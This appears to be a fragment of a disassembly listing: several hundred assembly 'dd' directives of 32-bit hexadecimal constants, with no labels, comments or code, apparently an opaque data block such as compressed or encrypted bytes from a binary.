		dd 986998AAh, 804979C8h, 6D059FA8h, 2F955E3Fh, 422B0A0h
		dd 46822834h, 4A450B09h, 749C6A54h, 2B5930ACh, 2032777h
		dd 955A0DE4h, 6240C772h, 5D8B776h, 32015F2Eh, 0EC20D90Ch
		dd 309105B6h, 90CF780Bh, 49A66960h, 0F52E9828h,	89829B0h
		dd 58A46D10h, 9BE0F467h, 621EB7AAh, 0F3DE39BCh,	44113C06h
		dd 0D20411D7h, 42067817h, 814D50CCh, 40D4611Fh,	0F9325D1Ch
		dd 0A69C2F07h, 419B810Eh, 9E10B2BCh, 7B00654Bh,	4009848Eh
		dd 4B81154h, 914945D0h,	0A46488FCh, 0ECBF0184h,	2EFE6B3Bh
		dd 0A6CD0E9h, 9800154Fh, 802889B2h, 0C183019Dh,	0A504C89Fh
		dd 7F4C620Eh, 8EFD220Fh, 0B966018Bh, 96F53220h,	28B058C2h
		dd 7EC95815h, 0A7D8C0A6h, 0D2AF5791h, 9A564D00h, 0E8683E1h
		dd 5D0C000Dh, 0CCCE29F5h, 1154A52h, 0A87B2Dh, 0EC5E6D4Ch
		dd 349980h, 0A105D4CEh,	8998A75Dh, 4EA02D07h, 3930A40Ch
		dd 0C09FFA70h, 78297611h, 0FD55EC88h, 805068E0h, 7F79BCD4h
		dd 0BECC05FFh, 88FA7D80h, 29054EC0h, 0CF616C32h, 480EF0C1h
		dd 0F95E010h, 0AFC84B00h, 0CCE45920h, 0A40700F5h, 43AED077h
		dd 0BC12C201h, 6C208AFCh, 3AB295A8h, 6908D879h,	8A408B3h
		dd 44D02A13h, 1C591C4h,	483F4EB4h, 0F8334A6Dh, 44EA7DB1h
		dd 0A6616F00h, 46DC8A66h, 2404E865h, 50841DEBh,	18904ACFh
		dd 0CAD4701h, 2E68E655h, 1A00C032h, 2A7E278Bh, 0A8002CA4h
		dd 0D302EDF8h, 0E1BF2B9h, 6C38E887h, 61E66540h,	46253524h
		dd 68F42014h, 8DFC6Bh, 0A102519Ch, 875F475Ah, 0E5ABD504h
		dd 70890FC7h, 65018C58h, 0CA7A500Bh, 54325B48h,	0C9E4C0C3h
		dd 9D894CA3h, 934A0073h, 0D5D694F6h, 6C755351h,	0F031ED28h
		dd 2EF5C400h, 9785F6A9h, 1786009Eh, 5907498Ch, 35F866E9h
		dd 1BD7E200h, 0CA2D0C2Fh, 0BF4B3D0h, 0D0905B98h, 902AE80h
		dd 61C2DFDAh, 0AAC0D564h, 8C007B9Ah, 0BB9D7D10h, 5AB6536Fh
		dd 0C7DC4A08h, 41453AF0h, 21FB7088h, 39F401C4h,	7444E8CBh
		dd 7C38865Eh, 64355B1Eh, 982890A0h, 0F8003FA5h,	6FF3C394h
		dd 485AFC96h, 284ED88Ah, 0F0005C30h, 0FB9DF1A0h, 435894h
		dd 3C50CD25h, 801D270h,	3B445C98h, 920626B6h, 900E924Ch
		dd 73A4C5F8h, 0C6B89E03h, 8087B959h, 0F1D0318h,	0FCB5223Bh
		dd 11097938h, 516CD000h, 0C10EF8Bh, 5CC87C3Bh, 692408F2h
		dd 0FCB602EAh, 0B8D18C89h, 0FB144411h, 0B280988Dh, 776DA9E7h
		dd 14D28F07h, 9FC0C289h, 1FB63B06h, 1AA6E73h, 0A0CAFB4Ch
		dd 0D823F1B8h, 7801AE0Dh, 5F20ECD1h, 43F0A460h,	0BC18502Bh
		dd 0DA1900E9h, 3C6E7A98h, 0B326B46Ah, 6449C822h, 829B02DCh
		dd 3A3803EEh, 3E2A78C0h, 225E90A4h, 4A592C30h, 0B12A0038h
		dd 64794A4h, 43001048h,	914D86D5h, 0C0802E61h, 0CE9D7E31h
		dd 9001A76Ch, 99FFCDFEh, 9AC0331Bh, 0F98E6011h,	9E1A926Dh
		dd 7FE6A002h, 5B167C34h, 3F942888h, 0F9807142h,	4531097h
		dd 0F600321Eh, 433E1284h, 2636A9D0h, 40F82ACBh,	177478E0h
		dd 43689701h, 6F5CABB4h, 7B6C70h, 6E96DAD0h, 0E544212Ch
		dd 0D37FAA00h, 0ABA40E06h, 0E9370214h, 0CA77DDF1h, 2AAC3045h
		dd 0A8A97000h, 999355h,	3364789Bh, 8DC74F03h, 2887B12Ch
		dd 0D5EC3D01h, 0D470822Dh, 6E78A014h, 560600D2h, 3B2F25Ch
		dd 292C2DE8h, 2B0B7CDEh, 0BBC0001h, 447F7220h, 10043950h
		dd 0AD4EECB2h, 870140D1h, 9622E47Ch, 0C080A600h, 0ED4AEA7h
		dd 711207C1h, 40FBC7F0h, 0AB81589Ah, 8480C348h,	244F856Ch
		dd 5F4522BDh, 4C4FA560h, 3F0022FDh, 1C296E72h, 3D18337Eh
		dd 0B9BAE84Eh, 482700F6h, 8C4325A7h, 0ED07D763h, 8776AE35h
		dd 14D82B83h, 148FF611h, 0EECC205Eh, 4E001B19h,	0BF8842CCh
		dd 0C17AC5F7h, 4B0C5281h, 0A8E84CBDh, 8F1E48h, 1CA15FB9h
		dd 1357C1B6h, 4122143Ah, 77C93D40h, 0D235E8E2h,	0C5DE4E01h
		dd 1990EC76h, 7C4489C4h, 31161C45h, 3D618051h, 0FF9C4AEh
		dd 0DC3473Ah, 8156F687h, 4B082F2Ah, 2EE0F020h, 0B97219ACh
		dd 1003C8D5h, 13BD5034h, 88E04BF2h, 0D672D45Ch,	0F727FB0Eh
		dd 1900F7FEh, 4948DE2Bh, 2A98A0C0h, 5FFC7F9Ah, 8DC10D3h
		dd 0DD638B0Ch, 0C74B7829h, 111F4C22h, 13442632h, 7040852Dh
		dd 263B7830h, 2ACF0031h, 0EF7521E9h, 0C601972Bh, 9A088BE3h
		dd 5C2750A6h, 0B4007322h, 0EB135BDDh, 54AB8Ah, 0CE1AC15Fh
		dd 22828B9Dh, 0F659320Bh, 0B10CE89h, 62B3024h, 0A6115C98h
		dd 39DB8E00h, 698D3448h, 77BF0E08h, 5D8BD5A1h, 88D11A84h
		dd 84220D50h, 8028B443h, 9EAE3AB9h, 0FE00FBB0h,	5D2E9DAFh
		dd 2DBE6EE6h, 2410ED88h, 787334C4h, 0B027D724h,	82B2050Eh
		dd 600CACFEh, 65648B2Ch, 0C80E9974h, 0B038688h,	67116604h
		dd 85BA8854h, 1F34269Bh, 0F8822CCh, 0AF474CCAh,	0DD06C140h
		dd 2D0E22C2h, 0C8DC3DEh, 0B0C9C0D3h, 0FCBE16E0h, 760CCA31h
		dd 0BBDCA300h, 0F87F578Eh, 67281056h, 0C7F30007h, 5ED1A811h
		dd 3EA00BBh, 763B3605h,	40B08EF2h, 17A89044h, 1E177378h
		dd 126CC254h, 34E4DBD2h, 0E776EFCh, 0F0B31007h,	2BD07729h
		dd 0ADE1ACAh, 8C34FCBBh, 80114Ch, 66C04C02h, 2545991Eh
		dd 0F449F987h, 807478B2h, 0B4304ADAh, 21E0BADFh, 0FC1C7107h
		dd 326B04EEh, 0E6C51D0h, 0F9214BAFh, 206742BBh,	9F13EC10h
		dd 0AC843703h, 23852000h, 0EA0B08C8h, 0A2D8ACE7h, 0C614EA80h
		dd 9E301FC8h, 0DEEFC2A2h, 0BE8773F3h, 0A95F3069h, 224A484Ch
		dd 0EDCA5C20h, 7E8F01E6h, 8BBECB1Dh, 200DC579h,	7854CD5Ch
		dd 8E88828Ch, 0A0DF3831h, 1250D02Ch, 80241CEEh,	8B4257F7h
		dd 9F0B7BDDh, 4016BFCh,	0A8C80D20h, 0FB3A00A2h,	0C9C2CDD6h
		dd 98005235h, 744FE7B3h, 7AB685D8h, 5D9CA01Ch, 38EB1763h
		dd 0A8E5106Ch, 0C6B1580h, 10041A29h, 9B718DA5h,	81A63091h
		dd 4AB6850h, 89DD0119h,	0E664BA7Ah, 6D1C61F7h, 0B929C52Ch
		dd 0B52C9C40h, 3BD4E069h, 0D300056Bh, 62A7DFD8h, 7AEE7BAEh
		dd 80C8FD5Ch, 0A00A4276h, 444658ECh, 0E718A894h, 0FD15945h
		dd 559F9302h, 0C22486D4h, 0D70800B8h, 7819C398h, 3879006Fh
		dd 5A209644h, 7500C705h, 0D24B0F64h, 1F5BBF4h, 29103D5Ch
		dd 20600918h, 9F448A54h, 28F501A8h, 0B296A577h,	0C4802050h
		dd 6B007891h, 0C213106h, 0C3333C05h, 0B28D7D09h, 0F000515Ch
		dd 3F7682C1h, 1C6E3163h, 0F854BDB0h, 0EC4E889Fh, 30FB5045h
		dd 153CF0C8h, 0B8D60791h, 0EA811174h, 11E91746h, 0B0148Ch
		dd 184254EDh, 2C3B3AB7h
		dd 9D496301h, 0D747C55Eh, 17B0202Bh, 0B11F760Dh, 95C7B70Ch
		dd 0D5E4C5E7h, 0CC006AC7h, 17C3D82Eh, 0C0840EC8h, 0A598DB58h
		dd 33128905h, 0F9C56C35h, 8C450A0h, 3405E7CAh, 7D324764h
		dd 0A401880Fh, 0D57C058Ch, 0C9DC21E0h, 3CE0DF49h, 21301264h
		dd 325219AAh, 0D1611DA4h, 6338264Eh, 0C92EBBC4h, 8F404014h
		dd 79F4CC0Ch, 805D009Dh, 0A84EFB33h, 0B5F83110h, 0FBFD613Ch
		dd 0DCC224A0h, 0A6CF0E00h, 3A913934h, 4080BC70h, 0D43EFB68h
		dd 0E8B12900h, 8C01D5BBh, 386C17B2h, 54C20073h,	0BF8F3B61h
		dd 70A14892h, 0C0A41250h, 912A8E92h, 0B50F0074h, 5E21D3F0h
		dd 0B193Bh, 0CCD6CAADh,	1C987C13h, 0D67764C6h, 43083DEh
		dd 4602CDAh, 8780766Bh,	0E2CB1ECh, 0F4856939h, 2F38004Fh
		dd 46EF954Ah, 0B0018718h, 79B63519h, 30435905h,	6F9B9C0h
		dd 0DB397810h, 543500CEh, 0C6AD4032h, 0C888C84Bh, 9FA66980h
		dd 7F8105EEh, 19956078h, 1C6AC201h, 2870606h, 37710AB1h
		dd 8EB1FE7Ch, 852F4181h, 545431ECh, 0F2D8h, 3C5BB44Ch
		dd 7E1E3Eh, 0A4F4C67Fh,	0F15CB163h, 0C3BFBD01h,	45681A81h
		dd 8274E093h, 545686FCh, 5F3A540h, 62B23FDEh, 0E1A4E280h
		dd 0B3725D1Ch, 89BB2431h, 3180600Eh, 4F7F321Ah,	2950AFC5h
		dd 0B6182D8Bh, 611423A3h, 94874A83h, 89580814h,	0B7AB7A80h
		dd 1C98DC4Fh, 819C18E6h, 0CF93E9B0h, 0BF8DC86Dh, 2A8BED00h
		dd 8225BA4Bh, 7F6B00C5h, 0CFFB27B8h, 8500CA73h,	1A3F8DB3h
		dd 0EB4A8Ch, 0F5DC48A7h, 0A4827034h, 2A89BD07h,	959088DFh
		dd 296342EEh, 0DC0DA5h,	36C60259h, 4A0FDDA1h, 0A05C6EE4h
		dd 508A808Ch, 0DC194CE5h, 0F851EA15h, 0C7A9B2C0h, 29007DEBh
		dd 1E9F6C23h, 2EC8E489h, 11784ED9h, 0C8142CB9h,	0F1201247h
		dd 2828A62h, 168117BBh,	0DC42C77Eh, 0F050A8C2h,	772D4B77h
		dd 0EC419D1h, 88C532Fh,	0E38F73D8h, 22F42062h, 0AAB4ADh
		dd 0C79A3988h, 0B0E6385Dh, 7DF5DB05h, 0B08C21B3h, 0A51B1F6Bh
		dd 6FD93C3h, 7A60C274h,	72271C02h, 0C7F9C9F8h, 0B2D009CCh
		dd 77444C44h, 0B390C895h, 0D29FA887h, 401C2982h, 4EE2DE8h
		dd 0D6AD69B6h, 0C0A0EC0Ch, 8FC54542h, 0CDF30082h, 1F6B0BCh
		dd 5D3FEFCCh, 2BC00634h, 25597F14h, 0E068ED87h,	38B912B2h
		dd 0EC952900h, 1AF6462h, 32F7B60Ch, 89A092B1h, 0F16D0B21h
		dd 338A0798h, 4174293h,	58000C79h, 9CEA52CCh, 3BBA7AD8h
		dd 9380C355h, 72CFDF28h, 929D35C7h, 47C9890h, 0F62400DFh
		dd 0FFB6FAB2h, 2627C13Ah, 9000664Eh, 699A0464h,	43862Eh
		dd 0C5B73B0h, 971E3D9Eh, 36117180h, 0AB9A6574h,	0C563DA09h
		dd 0FB0082F1h, 0B4290408h, 31034008h, 0F05FC420h, 0E8A5ECEDh
		dd 0CF141F2Bh, 0C9042689h, 113C91A0h, 0FA2E1074h, 15EE48h
		dd 215053FFh, 0D967E2D1h, 916C2000h, 963397B5h,	0B8B89FDBh
		dd 9195C378h, 45F8D5F8h, 0CFC6009Bh, 0F5CDE9A2h, 0B80F2529h
		dd 0CF8BE62Eh, 8FCCC004h, 7FF4CACFh, 640C170Dh,	339C30A5h
		dd 8300945Ah, 42143204h, 3F608258h, 2CF84670h, 81859E10h
		dd 2AFB6238h, 95CD40B0h, 2D240190h, 9B853C6Eh, 7FEFC8Ch
		dd 237BF9C9h, 9FF003A4h, 0FB1D6B21h, 6E004454h,	0C206E7D1h
		dd 62A502BBh, 0AE682BFh, 43005C59h, 0E7E5A022h,	58FB008Ah
		dd 2B8F2F50h, 20B1A61Fh, 10019B11h, 7C90F0D6h, 0FCADC0Dh
		dd 2FBEDD16h, 0CC207099h, 0F22827F6h, 30D23885h, 0C21C08A0h
		dd 1525A498h, 45AC224Fh, 5CC0C23Bh, 0F86B817Ch,	6C6C1C5Ah
		dd 0CDBE8068h, 7C04E56h, 3F2D6B9Dh, 219B9054h, 792CC9DEh
		dd 66116C0Eh, 48FCC454h, 5D165CFEh, 1164085Fh, 5F0CA03Ch
		dd 0F4E84129h, 0FCEABA6Bh, 0A90CECDFh, 50337C2Ch, 3C79403Eh
		dd 0B6185D7Fh, 78912624h, 70A14CC8h, 21807488h,	9C3FA8FFh
		dd 0C5FD1D2Dh, 0B8C9C786h, 7E605E8Ah, 0EF1F78D0h, 2B2E74B0h
		dd 8B1160A0h, 6B3B206h,	9F016174h, 963DFCC8h, 0B893EEEFh
		dd 2802077h, 2F6269A5h,	50B990h, 0E1EE6D95h, 8BFAE005h
		dd 0D703C527h, 0B0A5967Eh, 2FFB2867h, 5410AA7Fh, 5125F20h
		dd 0A040CF0Fh, 96988E24h, 0F83F5421h, 37050209h, 0A0DA9FECh
		dd 3040F0E3h, 809C908h,	597D77DEh, 6B39C024h, 0C0121CADh
		dd 0F00E6Ch, 8A593E38h,	0B4E4DE27h, 442C3600h, 0BFA771DAh
		dd 0CA37EA9h, 28EE50C4h, 845FBF8h, 6880B03Ch, 0D2BDE8Ah
		dd 674BCD05h, 0E88278F6h, 0AE2413Eh, 9FC7F476h,	95BC407Ah
		dd 0E5BB63Ah, 0B296F441h, 76FB2D1Dh, 5DC92711h,	0FA2218C4h
		dd 47B4BE5Fh, 65EDB021h, 4F2E5749h, 0C5032354h,	0E80C9B6Eh
		dd 25E7A1CDh, 0E4904591h, 20012C8h, 0DA80300Fh,	541866h
		dd 6F927C06h, 289DF13Ah, 56A9F03h, 0F36CA123h, 0A6ABF829h
		dd 431500D2h, 0B8F1A2DBh, 0BC005310h, 4A0C4289h, 1F6C3C9h
		dd 6F7B055Ch, 0DC128C0Dh, 6603A391h, 0FD6335EEh, 81BD9109h
		dd 11782AE4h, 2657F588h, 0A132C3FBh, 8070D62Dh,	64A34674h
		dd 0A0069EFh, 689114B1h, 12DB4CC4h, 1634B3B0h, 0C718C890h
		dd 42CC1497h, 850E8F10h, 98A413E6h, 55A007D2h, 108204AFh
		dd 0B4287B3Dh, 750CBA13h, 343D64DDh, 332E130Eh,	0EE04FBE0h
		dd 3112A481h, 0E03E21h,	887C4B78h, 0CF5AA87Ch, 9132B821h
		dd 555FA06Fh, 0B34C2D1Ch, 6B1A5D40h, 4A824606h,	0DDF89272h
		dd 5D902238h, 0A3C0FC43h, 0A6730D49h, 0E13DB401h, 0D8804C98h
		dd 1F1F0FECh, 4C97A2A1h, 51314EDCh, 7D0BE314h, 0D295C06Ch
		dd 18640F4h, 0FAA5B37Fh, 60831D6Dh, 0E925046Ch,	374C200Dh
		dd 0CBDEBCh, 8CFED4Fh, 815FF3FAh, 4BAF5D1Dh, 0B7121D40h
		dd 7B8D3h, 0FFE654E4h, 8071A82Bh, 481A6A04h, 74A27FF2h
		dd 0E180EB3Ch, 7E38738Ch, 5B0F936Fh, 0E639CBE9h, 80F8F1F9h
		dd 0B4BACFA8h, 0C86F475Ch, 29494598h, 5FB009E5h, 286655CEh
		dd 0F77B3500h, 916559E3h, 3D8478F6h, 1D09D3CBh,	5802F55Ah
		dd 62418A92h, 0CD50F438h, 8B61813Fh, 82148402h,	796E1F68h
		dd 803510C0h, 34149611h, 83F6293Fh, 278C0DD4h, 0EF80E321h
		dd 0ED5CD9ACh, 0CC3E13B8h, 1975488h, 7E1A3DDBh,	0F4FE950Ch
		dd 0F4F1F9E8h, 704D4D8h, 9DEA09B2h, 717FD0C2h, 0DA11829Ch
		dd 1474693Ah, 8E729140h, 0BFE61C62h, 0C0945F12h, 0D3785CC8h
		dd 6601A5D2h, 35080A05h, 0AD456395h, 312194E2h,	6CD0A507h
		dd 0B466A850h, 0C83D2AD1h, 454D1A88h, 68C61951h, 0C506A900h
		dd 2DA7F1B6h, 0FC7338h,	6154981Fh, 84BA978Dh, 7A16EB39h
		dd 0F8E2B0B0h, 0A67E4212h, 871744E6h, 3108AEBh,	0B8B46D32h
		dd 0BDCF8834h, 41100158h, 0E0579CFBh, 8098688Fh, 9526AB6Dh
		dd 0B29016D5h, 6010C9CFh, 1C91A29Ch, 188A0813h,	803FDF1Ch
		dd 86B776FEh, 8F7A032Ch, 35A97D00h, 0BD9D6819h,	0C01E5BA2h
		dd 0B62396F4h, 0C0D8094Ch, 0E11FA2Ch, 0C009546h, 9CF98A3Ah
		dd 9FBC6714h, 0AF8C13B0h, 0E56C28h, 16D3EDB7h, 44A5C07Eh
		dd 0B5553700h, 68DF71B6h, 38C513FAh, 69DC01F8h,	30B11DA5h
		dd 11226C4h, 9C88A6DEh,	0BCC200F7h, 0DA3BC59Ch,	0C100DCCBh
		dd 0ED97E6Fh, 72B19CCh,	0ADDA8F9h, 5B8341E6h, 0C45200B5h
		dd 63F2005Ah, 7D579872h, 0D4CC58Ch, 0C7A601FCh,	0F58592B2h
		dd 60D4B8ACh, 371477F9h, 6C1D5B1Eh, 0CD3D94C0h,	24017073h
		dd 890858Fh, 0E9C8632h,	4645FBC7h, 1DEC53C9h, 54694928h
		dd 68DE9C42h, 9FAB9640h
		dd 7B361C4Dh, 0E00FC133h, 0C09B6826h, 0F5127F42h, 2003DB30h
		dd 5B7005D5h, 0CA188840h, 6CE1B401h, 8943910Ah,	9622D862h
		dd 4AF8A100h, 49F0DDE5h, 25C80048h, 6B96C0ABh, 10FAF985h
		dd 0EC20B14Bh, 3B1968h,	63D5BAD3h, 71F2C708h, 90FF3C1Dh
		dd 520656C3h, 0D985B26Ch, 0F2580014h, 33E07762h, 0C6115724h
		dd 8D89381Eh, 71E409BEh, 807C009Ch, 0B48E6B79h,	97F3371Fh
		dd 63A823Ah, 0C0EA29F1h, 88560E24h, 0AAF84061h,	0E0174600h
		dd 0DFC3C42h, 0B63F8E3h, 0F282573Ah, 0AAAF202h,	1171C5Ch
		dd 1900ECB3h, 1A8DCDB0h, 354ECA7Ah, 8B170C01h, 43CCA65Fh
		dd 0F2370904h, 38A7D241h, 28C6198Ch, 71D5EF10h,	0F9EC3802h
		dd 0C4B0396Bh, 0CC9907B6h, 69A39507h, 0E0A90145h, 0F935B102h
		dd 8C40C66Ch, 0BB27C778h, 7386E85h, 2C806A58h, 0D42F10C4h
		dd 6F0062D6h, 0E2D232CFh, 7E95DDh, 54EE1735h, 6B78A80Bh
		dd 0CCA5F23Eh, 31CD1FFBh, 35008CD3h, 4E7F4A49h,	0FB772A39h
		dd 60A11308h, 819C272Eh, 0E0C44C0Ah, 0A500CB82h, 0C560B09Fh
		dd 3AE3C34h, 0C811F704h, 2EB8EA24h, 4957F72h, 654010ECh
		dd 0BF50F943h, 3D900A16h, 75F9C09h, 0D1F1450Ah,	0F0BECA39h
		dd 6A987D0Ch, 481CD218h, 130229F3h, 60EFC7D5h, 39A5F4h
		dd 357D7F71h, 0B5518CBh, 1400DFE0h, 3B4BF6D7h, 7772D4Ch
		dd 30580E01h, 0AEA4A0CFh, 40DD1CB6h, 470D508h, 1F49CA5Dh
		dd 199DFA0Ch, 23F52CE7h, 41A0C98h, 9420D8A8h, 0D409108Fh
		dd 6EDD00B9h, 0E8B23A80h, 1D0DFCF5h, 5CA0DC50h,	745F418Ah
		dd 8A0F9009h, 74695540h, 47B64208h, 0DF71C8ECh,	722DBE00h
		dd 404BDB88h, 0A508B553h, 0F04C76BDh, 2203323Ch, 0A3AFFA70h
		dd 0DE4E99ACh, 0C0CAA1F8h, 0E5958F46h, 9CB5A57Ah, 10EC60h
		dd 0B05B2EFCh, 263CF540h, 0B1182F01h, 0CB3D727h, 9F882980h
		dd 9674906Bh, 1545D003h, 0E10AFB81h, 0F0304AB2h, 3F4BAD9h
		dd 0D5A1B675h, 5EFC8C3h, 0EE6CD086h, 6E48C9C5h,	1979778Ch
		dd 9FB9730Eh, 0DD5F4228h, 0C0A089F3h, 594091Ch,	0FD7A1390h
		dd 39202C85h, 98009E46h, 552CE1D2h, 8B0C0BCh, 0C7806494h
		dd 0BA5352AEh, 0A6C7A28h, 23F4F2FFh, 0B456819Ch, 0C669FA1h
		dd 0AF831DD0h, 81F4645Ah, 0A45FFFF2h, 2B95CC2Fh, 0EA1F1090h
		dd 0EEC3BE1Bh, 48696D7Dh, 0C312F898h, 0A974D05Bh, 180033DBh
		dd 4661B434h, 0E854E48Ch, 0C7C4A8B8h, 0EE70FCB3h, 0E87C09h
		dd 0B7D2331Fh, 88E7A596h, 7EA3A607h, 40805882h,	0A99F49C5h
		dd 40B7C490h, 0DDC0B870h, 0D1341A33h, 0BE223868h, 33D5C901h
		dd 0C0872BF1h, 1F01F47Ch, 6214E1Ah, 24E044E6h, 7B8081F8h
		dd 188292Dh, 0DA4A0C55h, 9440B6EDh, 0E8AD06F6h,	1C9A8Fh
		dd 0A24A15BFh, 2F8C4283h, 1FF21009h, 2CD898AFh,	6C060018h
		dd 28039862h, 5A00EFC0h, 0F9F11E41h, 0B0181CB3h, 502C17B7h
		dd 0A2E008Dh, 111375AEh, 68D8A0BFh, 36690C8h, 0CE79D0Eh
		dd 85EB505h, 0CFDF30D0h, 0ACE690h, 7C272A48h, 389E8872h
		dd 5F45123Fh, 0BB40D8h,	35ED2311h, 99AAFA78h, 0A7F08200h
		dd 0A832D0B2h, 12370C0Ah, 0C738DD21h, 252B4A1Ch, 0F62EA100h
		dd 0E0C0540Dh, 0CFCE00D7h, 169D2F45h, 0C20F1408h, 79C38Ah
		dd 1263E31Fh, 0D7B30047h, 72CB420Ah, 81004494h,	6CEDF54Bh
		dd 4A1805h, 3D6B8A9Dh, 0A0B222FBh, 68737F1Eh, 9155C280h
		dd 0B49723h, 0FE6532DBh, 84CFA6A5h, 40891500h, 0EE9CA163h
		dd 0DC600E2h, 0E90EB1B5h, 13007011h, 0BF86889Fh, 0FA5B492h
		dd 3E3B0C17h, 0A87FC120h, 0A6609806h, 0EF576219h, 0DED60003h
		dd 0B5DB0B9Ah, 0DA1EE79Ch, 4BC017A4h, 0D11BFBAFh, 111F0067h
		dd 0C859A40h, 1640077Ch, 949B003Fh, 0B1DBA49h, 86F05CABh
		dd 0B5F93Ch, 4825C76Fh,	27D691h, 0A4DB0C47h, 46579684h
		dd 0C616EE00h, 0B3CE80F5h, 0C0678ACh, 1A9E1D58h, 0FFE8228h
		dd 4E18AD60h, 0C0F16F0Dh, 416BB799h, 0DD6062CBh, 0EB4C9D68h
		dd 3D1FA3Fh, 7C70A7A5h,	0A00CE97Bh, 800C0829h, 96DD88FCh
		dd 58C9C430h, 10E3C1Fh,	0B6A518CEh, 80D1ABC5h, 0BD275418h
		dd 0F8DEDD37h, 285F78DCh, 2941ADFh, 6657B982h, 43F51CA0h
		dd 905862CCh, 2410DCD2h, 0D0E52268h, 0F208410h,	18DF232Ch
		dd 8E87C8E8h, 0FFE888EFh, 0DCD2D8BAh, 9A2A0087h, 0AEA9B40h
		dd 711DAD03h, 18F0574Ch, 0F14DBB68h, 6C3795CEh,	48AA9D9h
		dd 0F3C0067Dh, 3C14101Dh, 0FA0FA44h, 0CE1441A0h, 0CBA865B5h
		dd 77C0FC00h, 18C62444h, 29488C3Dh, 0AF801355h,	88390E7Dh
		dd 0E9A0053Fh, 7AF26CBBh, 0F8E8874Fh, 0BC1A0300h, 34F777AAh
		dd 232DB200h, 9D8F45C7h, 8EBA005Ah, 20E6673Fh, 32007DBEh
		dd 0A4CFF4B2h, 7C1CD13h, 0D0055709h, 396E70A6h,	3F0041B6h
		dd 0C77683E5h, 1948196h, 85774E68h, 0C9875EFEh,	1A0A70CEh
		dd 0AAE86B00h, 52C6AB0Eh, 0A1E10F5Ah, 0C5A0F6D1h, 3FBBF9D3h
		dd 37711FF6h, 0D7C19901h, 0D9E99F9Eh, 4DDB9040h, 4F8D6h
		dd 1AD33792h, 6022C135h, 27067A00h, 0E0BE7A1h, 3CDF00CBh
		dd 42284304h, 3E3E384Bh, 0D1568105h, 0DD582EE8h, 0A68AE4h
		dd 17DE9577h, 0FF7203F4h, 6E54B300h, 6F8BF897h,	7F8FEEF0h
		dd 0FE200066h, 0F35E4C22h, 94003055h, 0DB4A8E82h, 0E97BCEBh
		dd 0BB8CC335h, 0A4056383h, 0DC7B1D88h, 0A883361Eh, 4F975580h
		dd 518AE137h, 0DEDCF019h, 7B17012Ah, 4CA3B923h,	8036C495h
		dd 0DAE5FF00h, 54679B0Fh, 2FD100A0h, 0BFB5BA01h, 862E434Bh
		dd 15001D12h, 62EA2C1Fh, 240800ABh, 3FB3F08Dh, 871EB2DAh
		dd 0B94FED9Ch, 0D2C03EB0h, 20F34E47h, 1788071Eh, 50A99742h
		dd 0EFF5A177h, 7CF83D00h, 1467900Fh, 0B2D03BDh,	2378C75Eh
		dd 0EBE819A3h, 68304B0Dh, 4C06216Bh, 825D00C7h,	93711277h
		dd 7B17DD07h, 451F633Ah, 49E56B40h, 0A8A52Fh, 0F0F67753h
		dd 1EA928E7h, 10A63E02h, 40DBB1D0h, 7A7FEF7Ch, 0A891FA1h
		dd 0B623409Ah, 0F2B20EEAh, 47986100h, 0CDD4F4ACh, 9CBA0097h
		dd 0EB8E2D73h, 1B037D06h, 91F2AA57h, 9A7AD8C7h,	0FAEC18C3h
		dd 308FA810h, 15745D00h, 0A78C6B0Bh, 0D89C007Dh, 3C3F8667h
		dd 2B0F80E4h, 200EA302h, 0CCD0C020h, 9F23006Eh,	7E1935Bh
		dd 0A101E9E8h, 40749A5Eh, 0B446B725h, 6D332CE9h, 0A2DA00CCh
		dd 5B0C60FEh, 0E88D4E24h, 0F479EC80h, 15CFC02h,	76248241h
		dd 809D3D1Bh, 0AA33FFCh, 617DF8h, 0D5502718h, 0DB7A7110h
		dd 0EC789703h, 0B0326093h, 0FA90F2A5h, 5C55FECEh, 0F900EA96h
		dd 0E69E0F05h, 0FC0041EFh, 7D780425h, 0A0B0E8FDh, 0CEBDEEh
		dd 62401392h, 6F360DF5h, 0DD381506h, 10F4F8h, 48D3FCB9h
		dd 56179A9Bh, 6E9C4B00h, 3019B329h, 43F93FC3h, 80A84926h
		dd 0B9157540h, 2B30CBE3h, 14F8783Dh, 0AEA62h, 0E3105FDh
		dd 67B7D637h, 5200ED71h, 0E12F1A07h, 2285D3h, 7DDB8B29h
		dd 32DF5D9Eh, 953ECC0Bh, 25DE8FA2h, 0AC90B0BAh,	48A32A7Ch
		dd 691D702Fh, 0D7ED409Eh, 4CD20358h, 0A0C59A00h, 512A45DFh
		dd 3E896B30h, 41D1CE00h, 0D7016131h, 0DA807E74h, 6DF4679Fh
		dd 5BA72F29h, 200076F0h, 2DACF340h, 22EC9h, 0CBD088D7h
		dd 0D99FCF18h, 3B8C9C00h, 0A8E733C7h, 3B90024h,	153DF9DDh
		dd 0FE00EACEh, 0CCAB0C4Fh, 75545D66h, 8F0E1CEEh, 0F6940C9h
		dd 10B0DF59h, 584558h, 0E3AE9078h, 29DB9Ch, 0ED057AFAh
		dd 0D40FEC6Bh, 24E26C00h
		dd 88C9E73Bh, 0F7710727h, 326B505Fh, 0C480ED5Ch, 855A0A94h
		dd 773B2000h, 5DBBAFADh, 0C05709F2h, 28801863h,	3B7265E7h
		dd 11B7300h, 7DCD03CFh,	0F7980C5Eh, 0B2C8024Dh,	1C387C00h
		dd 0FD71E93Ah, 1B370007h, 928D9ACEh, 1300E750h,	2FF3AB22h
		dd 40244FCh, 0BAA23FB4h, 4928C0AFh, 4377A4B0h, 8AF47F04h
		dd 0C080042Ch, 927AADBBh, 83A5874h, 0F88C0F04h,	0FD288279h
		dd 0FFC8A240h, 722E9400h, 0C27B1C80h, 980D0722h, 83E5DB8Ch
		dd 40804521h, 300FE70Eh, 2039AEB2h, 6BC296CCh, 4EE20042h
		dd 1ED0635Ah, 0EF25C36h, 0DF001AE8h, 0E79D0501h, 7A2FE390h
		dd 5088A05Ah, 7957003Ah, 0BBF506B2h, 52002299h,	16C00AB6h
		dd 0E925E2h, 0BE370D0Fh, 301FE418h, 0A02DF033h,	4F11483Bh
		dd 43B40500h, 0A234D6D8h, 0DAC519C0h, 92A6801h,	0ED9B99EFh
		dd 23610880h, 164C4A1Ch, 0D200783Ch, 8F27B7C6h,	0DE763AB5h
		dd 1407B874h, 170E3D28h, 8047E4D9h, 0BF1396CAh,	46008F90h
		dd 1807BD2Ch, 0BE7612h,	4F3680F1h, 0FC65DA11h, 5BC6A903h
		dd 0BAB25Fh, 939125DEh,	0F1E36A2Ch, 70F4BE00h, 0ED644A69h
		dd 475400EFh, 13955A1Ch, 1507F007h, 0EC5CA424h,	2BC74E70h
		dd 40EF0086h, 0EF8CE7Eh, 7900FF43h, 0CF64023Eh,	2AE7C1Dh
